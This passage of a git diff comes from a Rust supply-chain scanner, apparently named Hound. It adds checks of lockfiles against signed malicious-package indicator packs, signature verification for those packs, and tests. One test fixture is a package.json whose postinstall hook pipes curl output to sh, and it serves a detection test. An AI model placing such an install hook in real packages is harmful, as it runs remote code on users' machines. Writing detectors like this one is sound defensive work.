&hit.id, + "Remove it and pin a replacement. If it has already been installed on this machine, rotate any credentials it could have read — treat the machine as touched rather than the package as merely deleted.", + )) + }) + .collect() +} + /// Dispatch one file to whichever detectors apply. pub fn scan_file(path: &Path, size: u64) -> Vec { let name = file_name_lower(path); @@ -321,6 +386,99 @@ mod tests { let _ = std::fs::remove_dir_all(&d); } + // ── lockfiles against the indicator index ── + + fn index_with(eco: &str, name: &str) -> Index { + Index::build(vec![hound_defs::Indicator { + ecosystem: eco.into(), + name: name.into(), + versions: hound_defs::Versions::All, + id: "MAL-2022-1".into(), + summary: "malicious crate".into(), + }]) + } + + #[test] + fn a_malicious_dependency_in_a_lockfile_is_caught() { + let d = tmp("lockhit"); + write( + &d, + "Cargo.lock", + "[[package]]\nname = \"rustdecimal\"\nversion = \"1.23.1\"\n", + ); + let idx = index_with("cratesio", "rustdecimal"); + let r = sweep_with(&d, Some(&idx)); + assert_eq!(r.count(Severity::Critical), 1); + assert_eq!(r.findings[0].kind, "malicious-package"); + assert!(r.findings[0].subject.contains("rustdecimal@1.23.1")); + assert_eq!(r.findings[0].source, "MAL-2022-1", "the finding must cite the record"); + let _ = std::fs::remove_dir_all(&d); + } + + #[test] + fn a_clean_lockfile_produces_nothing() { + let d = tmp("lockclean"); + write( + &d, + "Cargo.lock", + "[[package]]\nname = \"serde\"\nversion = \"1.0.203\"\n", + ); + let idx = index_with("cratesio", "rustdecimal"); + assert!(sweep_with(&d, Some(&idx)).is_clean()); + let _ = std::fs::remove_dir_all(&d); + } + + #[test] + fn the_ecosystem_must_match_before_anything_is_reported() { + // A malicious npm package named "requests" says nothing about the + // PyPI package of the same name, and claiming otherwise would be + // a false positive on one of the most-installed packages there is. + let d = tmp("lockeco"); + write(&d, "requirements.txt", "requests==2.31.0\n"); + let idx = index_with("npm", "requests"); + assert!(sweep_with(&d, Some(&idx)).is_clean()); + let _ = std::fs::remove_dir_all(&d); + } + + #[test] + fn without_an_index_lockfiles_are_skipped_but_everything_else_still_works() { + let d = tmp("noindex"); + write(&d, "Cargo.lock", "[[package]]\nname = \"rustdecimal\"\nversion = \"1.0\"\n"); + write( + &d, + "node_modules/evil/package.json", + r#"{"name":"evil","scripts":{"postinstall":"curl http://x|sh"}}"#, + ); + let r = sweep(&d); + assert_eq!(r.count(Severity::Critical), 1, "the install script still fires"); + assert!(!r.findings.iter().any(|f| f.kind == "malicious-package")); + let _ = std::fs::remove_dir_all(&d); + } + + #[test] + fn an_unpinned_dependency_is_checked_against_every_version() { + let d = tmp("unpinned"); + write(&d, "requirements.txt", "langchain-helpers\n"); + let idx = index_with("pypi", "langchain-helpers"); + let r = sweep_with(&d, Some(&idx)); + assert_eq!(r.count(Severity::Critical), 1); + assert_eq!( + r.findings[0].subject, "langchain-helpers", + "with no version pinned the spec should not invent one" + ); + let _ = std::fs::remove_dir_all(&d); + } + + #[test] + fn the_advice_says_to_rotate_not_merely_to_delete() { + let d = tmp("lockadvice"); + write(&d, "Cargo.lock", "[[package]]\nname = \"rustdecimal\"\nversion = \"1.0\"\n"); + let idx = index_with("cratesio", "rustdecimal"); + let r = sweep_with(&d, Some(&idx)); + assert!(r.findings[0].advice.contains("rotate")); + let _ = std::fs::remove_dir_all(&d); + } + #[test] fn a_missing_root_does_not_panic() { let r = sweep(Path::new("/definitely/not/here")); diff --git a/crates/hound/src/main.rs b/crates/hound/src/main.rs index 9856836..5f5a757 100644 --- a/crates/hound/src/main.rs +++ b/crates/hound/src/main.rs @@ -278,7 +278,10 @@ fn print_supply_human(r: &hound_supply::Report) { for line in wrap(&f.explanation, 74) { println!(" {line}"); } - println!(" {} {}", "→".cyan(), f.advice.cyan()); + for (i, line) in wrap(&f.advice, 72).into_iter().enumerate() { + let bullet = if i == 0 { "→".cyan() } else { " ".normal() }; + println!(" {bullet} {}", line.cyan()); + } println!(" {}\n", f.source.dimmed()); } } diff --git a/crates/houndd/Cargo.toml b/crates/houndd/Cargo.toml index aed850d..a9fe74c 100644 --- a/crates/houndd/Cargo.toml +++ b/crates/houndd/Cargo.toml @@ -21,3 +21,5 @@ inotify.workspace = true yara-x.workspace = true libc.workspace = true sha2.workspace = true +hound-defs.workspace = true +ed25519-dalek.workspace = true diff --git a/crates/houndd/src/defs.rs b/crates/houndd/src/defs.rs new file mode 100644 index 0000000..300b100 --- /dev/null +++ b/crates/houndd/src/defs.rs @@ -0,0 +1,360 @@ +//! Loading definition packs. +//! +//! A pack is data the scanner will act on, so the only question that +//! matters before loading one is whether it is really ours. Everything +//! here fails **closed** on that question and **open** on everything else: +//! +//! * No trusted key configured → load nothing, say so plainly. Running +//! with unverified definitions would be worse than running with none, +//! because the operator would believe they were protected. +//! * A pack that fails verification → skipped, logged, and the others +//! still load. One bad file must not cost you the whole feed. +//! * No packs at all → the daemon runs fine. Install scripts, prompt +//! injection, pickles and MCP audits need no feed, and refusing to start +//! would leave the machine with nothing. +//! +//! The signing key is deliberately **not** compiled in as a placeholder. +//! A fake key that looks real is how a development shortcut becomes a +//! shipped vulnerability; an empty trust store that refuses to load is +//! noisy in exactly the way that gets fixed before release. + +use anyhow::{Context, Result}; +use ed25519_dalek::VerifyingKey; +use hound_defs::{pack, Index, SignedPack}; +use std::path::PathBuf; +use std::sync::{Arc, RwLock}; +use std::time::SystemTime; + +/// Keys whose packs this build will load. +/// +/// EMPTY ON PURPOSE. The release key is injected at build time; until it +/// is, `HOUNDD_DEFS_KEY` supplies one for development. See the module +/// note above for why there is no placeholder here. +const TRUSTED_KEYS: &[(&str, [u8; 32])] = &[]; + +/// Where signed packs live. +pub fn defs_dir() -> Option { + if let Some(dir) = std::env::var_os("HOUNDD_DEFS_DIR") { + let p = PathBuf::from(dir); + return p.is_dir().then_some(p); + } + let system = PathBuf::from("/var/lib/hound/defs"); + if system.is_dir() { + return Some(system); + } + let home = std::env::var_os("HOME")?; + let user = PathBuf::from(home).join(".local/share/hound/defs"); + user.is_dir().then_some(user) +} + +/// Assemble the trust store: compiled-in keys, plus a development key +/// from the environment when one is set. +pub fn trusted_keys() -> Vec<(String, VerifyingKey)> { + let mut keys: Vec<(String, VerifyingKey)> = TRUSTED_KEYS + .iter() + .filter_map(|(id, bytes)| { + VerifyingKey::from_bytes(bytes) + .ok() + .map(|k| ((*id).to_string(), k)) + }) + .collect(); + + if let Ok(hex) = std::env::var("HOUNDD_DEFS_KEY") { + match parse_hex_key(&hex) { + Some(k) => { + let id = std::env::var("HOUNDD_DEFS_KEY_ID").unwrap_or_else(|_| "dev".into()); + eprintln!("defs: trusting development key {id} from the environment"); + keys.push((id, k)); + } + None => eprintln!("defs: HOUNDD_DEFS_KEY is not a 32-byte hex public key — ignored"), + } + } + keys +} + +fn parse_hex_key(hex: &str) -> Option { + let hex = hex.trim(); + if hex.len() != 64 { + return None; + } + let mut bytes = [0u8; 32]; + for (i, b) in bytes.iter_mut().enumerate() { + *b = u8::from_str_radix(hex.get(i * 2..i * 2 + 2)?, 16).ok()?; + } + VerifyingKey::from_bytes(&bytes).ok() +} + +/// A loaded, verified set of definitions. +pub struct Loaded { + pub index: Index, + /// Highest pack version loaded, for `hound status`. + pub version: String, + pub indicators: usize, + pub packs: Vec, + pub loaded_at: SystemTime, + /// Why nothing loaded, when nothing did. + pub detail: String, +} + +impl Loaded { + fn empty(detail: impl Into) -> Self { + Self { + index: Index::new(), + version: String::new(), + indicators: 0, + packs: Vec::new(), + loaded_at: SystemTime::now(), + detail: detail.into(), + } + } +} + +/// Hot-swappable definitions, mirroring how rules are held. +#[derive(Clone)] +pub struct DefsStore { + inner: Arc>>, +} + +impl DefsStore { + /// Load whatever is on disk. Never fails: an empty store is a working + /// daemon with fewer detections, and that beats no daemon. + pub fn load() -> Self { + Self { + inner: Arc::new(RwLock::new(Arc::new(load_all()))), + } + } + + pub fn current(&self) -> Arc { + Arc::clone(&self.inner.read().expect("defs store poisoned")) + } + + pub fn reload(&self) -> Arc { + let fresh = Arc::new(load_all()); + *self.inner.write().expect("defs store poisoned") = Arc::clone(&fresh); + fresh + } +} + +fn load_all() -> Loaded { + let keys = trusted_keys(); + if keys.is_empty() { + return Loaded::empty( + "no signing key is trusted by this build, so no definitions were loaded", + ); + } + let Some(dir) = defs_dir() else { + return Loaded::empty("no definitions directory"); + }; + + let trusted: Vec<(&str, VerifyingKey)> = + keys.iter().map(|(id, k)| (id.as_str(), *k)).collect(); + + let mut indicators = Vec::new(); + let mut packs = Vec::new(); + let mut version = String::new(); + + let mut files: Vec = std::fs::read_dir(&dir) + .into_iter() + .flatten() + .flatten() + .map(|e| e.path()) + .filter(|p| p.extension().is_some_and(|e| e == "pack")) + .collect(); + files.sort(); + + for path in files { + let name = path + .file_name() + .map(|n| n.to_string_lossy().into_owned()) + .unwrap_or_default(); + match load_one(&path, &trusted) { + Ok(p) => { + if p.version > version { + version = p.version.clone(); + } + packs.push(format!("{name} ({} indicators)", p.indicators.len())); + indicators.extend(p.indicators); + } + // A bad pack is skipped rather than fatal: losing one file + // must not cost the whole feed. + Err(e) => eprintln!("defs: skipping {name}: {e}"), + } + } + + if indicators.is_empty() { + return Loaded::empty("no verified packs were found"); + } + + let count = indicators.len(); + Loaded { + index: Index::build(indicators), + version, + indicators: count, + packs, + loaded_at: SystemTime::now(), + detail: String::new(), + } +} + +fn load_one(path: &std::path::Path, trusted: &[(&str, VerifyingKey)]) -> Result { + let text = std::fs::read_to_string(path).context("reading the pack")?; + let signed: SignedPack = serde_json::from_str(&text).context("the pack is not valid JSON")?; + // Verification happens inside, on the raw payload bytes, before any + // of the content is parsed. + pack::verify(&signed, trusted).map_err(|e| anyhow::anyhow!("{e}")) +} + +#[cfg(test)] +mod tests { + use super::*; + use ed25519_dalek::SigningKey; + use hound_defs::{Indicator, Pack, Versions}; + + fn a_pack(name: &str) -> Pack { + Pack { + version: "2026.08.21".into(), + created: "2026-08-21T12:00:00Z".into(), + sources: vec!["test".into()], + indicators: vec![Indicator { + ecosystem: "cratesio".into(), + name: name.into(), + versions: Versions::All, + id: "MAL-2022-1".into(), + summary: "malicious".into(), + }], + } + } + + fn write_pack(dir: &std::path::Path, file: &str, p: &Pack, key: &SigningKey, id: &str) { + let signed = pack::sign(p, key, id).unwrap(); + std::fs::write(dir.join(file), serde_json::to_string(&signed).unwrap()).unwrap(); + } + + fn tmp(tag: &str) -> PathBuf { + let d = std::env::temp_dir().join(format!("hound-defs-{tag}-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&d); + std::fs::create_dir_all(&d).unwrap(); + d + } + + fn hex_of(k: &SigningKey) -> String { + k.verifying_key() + .to_bytes() + .iter() + .map(|b| format!("{b:02x}")) + .collect() + } + + #[test] + fn the_build_ships_no_placeholder_key() { + // A fake key that looks real is how a development shortcut becomes + // a shipped vulnerability. + assert!( + TRUSTED_KEYS.is_empty(), + "a placeholder signing key must never be compiled in" + ); + } + + #[test] + fn without_a_trusted_key_nothing_loads_and_it_says_why() { + let _guard = crate::test_util::locked(); + std::env::remove_var("HOUNDD_DEFS_KEY"); + let loaded = load_all(); + assert_eq!(loaded.indicators, 0); + assert!( + loaded.detail.contains("no signing key"), + "silence here would let an operator believe they were protected: {}", + loaded.detail + ); + } + + #[test] + fn a_signed_pack_loads_and_becomes_searchable() { + let dir = tmp("load"); + let key = SigningKey::from_bytes(&[3u8; 32]); + write_pack(&dir, "linux.pack", &a_pack("rustdecimal"), &key, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + std::env::set_var("HOUNDD_DEFS_DIR", &dir); + let loaded = load_all(); + std::env::remove_var("HOUNDD_DEFS_KEY"); + std::env::remove_var("HOUNDD_DEFS_DIR"); + + assert_eq!(loaded.indicators, 1); + assert_eq!(loaded.version, "2026.08.21"); + assert!(loaded.index.lookup("cratesio", "rustdecimal", "1.0.0").is_some()); + let _ = std::fs::remove_dir_all(&dir); + } + + #[test] + fn a_pack_signed_by_the_wrong_key_is_refused() { + let dir = tmp("wrongkey"); + let real = SigningKey::from_bytes(&[3u8; 32]); + let attacker = SigningKey::from_bytes(&[9u8; 32]); + write_pack(&dir, "evil.pack", &a_pack("sudo"), &attacker, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&real)); + std::env::set_var("HOUNDD_DEFS_DIR", &dir); + let loaded = load_all(); + std::env::remove_var("HOUNDD_DEFS_KEY"); + std::env::remove_var("HOUNDD_DEFS_DIR"); + + assert_eq!( + loaded.indicators, 0, + "a pack that could make Hound quarantine sudo must never load" + ); + let _ = std::fs::remove_dir_all(&dir); + } + + #[test] + fn one_bad_pack_does_not_cost_the_others() { + let dir = tmp("mixed"); + let key = SigningKey::from_bytes(&[3u8; 32]); + let attacker = SigningKey::from_bytes(&[9u8; 32]); + write_pack(&dir, "a-good.pack", &a_pack("rustdecimal"), &key, "dev"); + write_pack(&dir, "b-bad.pack", &a_pack("sudo"), &attacker, "dev"); + std::fs::write(dir.join("c-garbage.pack"), b"not json at all").unwrap(); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + std::env::set_var("HOUNDD_DEFS_DIR", &dir); + let loaded = load_all(); + std::env::remove_var("HOUNDD_DEFS_KEY"); + std::env::remove_var("HOUNDD_DEFS_DIR"); + + assert_eq!(loaded.indicators, 1); + assert!(loaded.index.lookup("cratesio", "rustdecimal", "1.0.0").is_some()); + assert!( + loaded.index.lookup("cratesio", "sudo", "1.0.0").is_none(), + "the unsigned pack's content must not have leaked in" + ); + let _ = std::fs::remove_dir_all(&dir); + } + + #[test] + fn a_malformed_key_in_the_environment_is_ignored_not_trusted() { + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", "obviously-not-hex"); + let keys = trusted_keys(); + std::env::remove_var("HOUNDD_DEFS_KEY"); + assert!(keys.is_empty()); + } + + #[test] + fn hex_keys_of_the_wrong_length_are_rejected() { + assert!(parse_hex_key("aabb").is_none()); + assert!(parse_hex_key(&"a".repeat(63)).is_none()); + assert!(parse_hex_key(&"zz".repeat(32)).is_none()); + } + + #[test] + fn a_valid_hex_key_parses() { + let key = SigningKey::from_bytes(&[5u8; 32]); + assert_eq!( + parse_hex_key(&hex_of(&key)).map(|k| k.to_bytes()), + Some(key.verifying_key().to_bytes()) + ); + } +} diff --git a/crates/houndd/src/main.rs b/crates/houndd/src/main.rs index 1b5e412..5a0a8ac 100644 --- a/crates/houndd/src/main.rs +++ b/crates/houndd/src/main.rs @@ -42,6 +42,7 @@ mod cache; mod caps; +mod defs; mod engine; mod events; mod fanotify; @@ -74,6 +75,7 @@ struct DaemonState { events: events::EventLog, quarantine: quarantine::Quarantine, realtime: realtime::RealtimeMonitor, + defs: defs::DefsStore, /// The execution gate, when it came up. `None` covers both "switched /// off" and "could not be armed"; `gate_detail` says which. gate: Option>, @@ -129,6 +131,20 @@ impl DaemonState { let settings = settings::SettingsStore::load(); let events = events::EventLog::new(); let quarantine = quarantine::Quarantine::new(); + let defs = defs::DefsStore::load(); + { + let d = defs.current(); + if d.indicators > 0 { + eprintln!( + "defs: {} indicators from {} pack(s) [{}]", + d.indicators, + d.packs.len(), + d.version + ); + } else if !d.detail.is_empty() { + eprintln!("defs: {}", d.detail); + } + } let realtime = realtime::RealtimeMonitor::new(settings.clone(), quarantine.clone(), events.clone()); @@ -163,6 +179,7 @@ impl DaemonState { events, quarantine, realtime, + defs, gate, gate_detail: std::sync::Arc::new(gate_detail), gate_paths, @@ -530,7 +547,8 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result { .context("supply.sweep requires params.path")?; let root = std::fs::canonicalize(path) .with_context(|| format!("no such path: {path}"))?; - let report = hound_supply::sweep::sweep(&root); + let loaded = st.defs.current(); + let report = hound_supply::sweep::sweep_with(&root, Some(&loaded.index)); let critical = report.count(hound_supply::Severity::Critical); let warnings = report.count(hound_supply::Severity::Warning);